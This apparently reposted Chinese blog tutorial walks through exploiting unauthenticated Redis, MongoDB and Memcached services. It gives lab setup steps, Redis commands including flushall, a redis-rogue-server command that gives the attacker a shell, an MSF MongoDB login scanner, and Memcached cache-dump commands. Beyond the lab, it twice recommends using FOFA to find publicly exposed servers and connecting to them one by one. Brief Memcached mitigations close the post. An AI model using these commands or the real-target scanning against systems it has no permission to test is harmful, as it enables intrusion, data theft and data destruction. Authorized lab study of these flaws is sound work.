当前位置:   article > 正文

未授权访问漏洞系列详解①!_redis未授权访问漏洞fofa验证

redis未授权访问漏洞fofa验证

Redis未授权访问漏洞

                  Redis 默认情况下,会绑定在 0.0.0.0:6379 ,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

    产生条件:

          1.redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略,直接暴露在公网;
          2.没有设置密码认证(一般为空),可以免密码远程登录redis服务

4.x/5.x未授权访问

步骤一:进入vulhub目录使用以下命令启动靶机.

  1. 进入目录:cd /vulhub-master/redis/4-unacc
  2. 启动:docker-compose up-d
  3. 检查:docker-compose ps

步骤二:在Kali上安装redis程序进行服务的链接 

  1. #安装redis
  2. apt-get install redis
  3. #redis链接
  4. redis-cli -h192.168.4.176-p 6379
  5. #redis常见命令
  6. (1)查看信息:info
  7. (2)删除所有数据库内容:flushall
  8. 3)刷新数据库:flushdb
  9. 4)看所有键:KEYS *,使用select num可以查看键值数据。
  10. 5)设置变量:set test"whoami"
  11. 6)config set dir dirpath 设置路径等配置
  12. 7)config get dir/dbfilename 获取路径及数据配置信息
  13. 8)save保存
  14. (9)get 变量,查看变量名称
fofa搜索未授权的网站 port="6379"

步骤三:可以直接连接执行命令且不需要认证说明存在未授权访问漏洞间.….下载以下攻击项目.. 

https://github.com/n0b0dyCN/redis-rogue-server

步骤四:使用工具执行以下命令获取目标的命令执行环境,交互时输入i 键会获取Shell环境 

python3 redis-rogue-server.py--rhost 192.168.4.176--lhost 192.168.4.108

---------------------------------------

MongoDB未授权访问漏洞 

              开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,登录的用户可以通过默认端口无需密码对数据库任意操作(增、删、改、查高危动作)而且可以远程访问数据库。

漏洞原因:

                造成未授权访问的根本原因就在于启动 Mongodb 的时候未设置 --auth 也很少会有人会给数据库添加上账号密码(默认空口令),使用默认空口令这将导致恶意攻击者无需进行账号认证就可以登陆到数据服务器。

漏洞复现:

              步骤一:在Kali上执行以下命令搭建起MongoDB的漏洞环境..

  1. 拉取镜像:docker pull mongo
  2. 启动容器:dockerrun-dp27017:27017mongodb mongo--name
  3. 查看容器:docker ps -a

镜像拉不下来,去fofa搜索语句

port="27017"

打开Navicat一个一个测试连接

也可尝试使用MSF中的模块进行漏洞测试..不需要认证即可直接连接.. 

  1. use auxiliary/scanner/mongodb/mongodb_loginshow options
  2. set rhosts 192.168.4.128
  3. set threads 15
  4. exploit

------------------------------------------

Memcached未授权访问漏洞

                  Memcached 是一套常用的 key-value 分布式高速缓存系统,由于 Memcached 的安全设计缺陷没有权限控制模块,所以对公网开放的Memcache服务很容易被攻击者扫描发现,攻击者无需认证通过命令交互可直接读取 Memcached中的敏感信息。

漏洞复现:

        步骤一:下载Memcached程序并执行以下命令..启动Memcached漏洞环境

  1. #Memcached程序下载
  2. https://www.121down.com/soft/softview-28366.htmlhttps://www.runoob.com/memcached/window-install-memcached.html
  3. #执行命令
  4. memcached.exe -d install
  5. memcached.exe -d start

      步骤二:使用Telnet程序探测目标的11211端口. 

  1. #Telnet探测
  2. telnet 192.168.4.199 11211
  3. #操作命令
  4. stats //查看memcache服务状态
  5. stats items //查看所有items
  6. stats cachedump 390//获得缓存key
  7. get:state:264861539228401373:261588//通过key读取相应value获得实际缓存内容,造成敏感信息泄露

 步骤三:使用Nmap程序的脚本进行漏洞扫描…

漏洞修复
1.设置Memchached只允许本地访问,2.禁止外网访问Memcached 11211端口。
3.配置访问控制策略。4.最小化权限运行。5.修改默认端口等。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/知新_RL/article/detail/988786?site
推荐阅读
相关标签
  

闽ICP备14008679号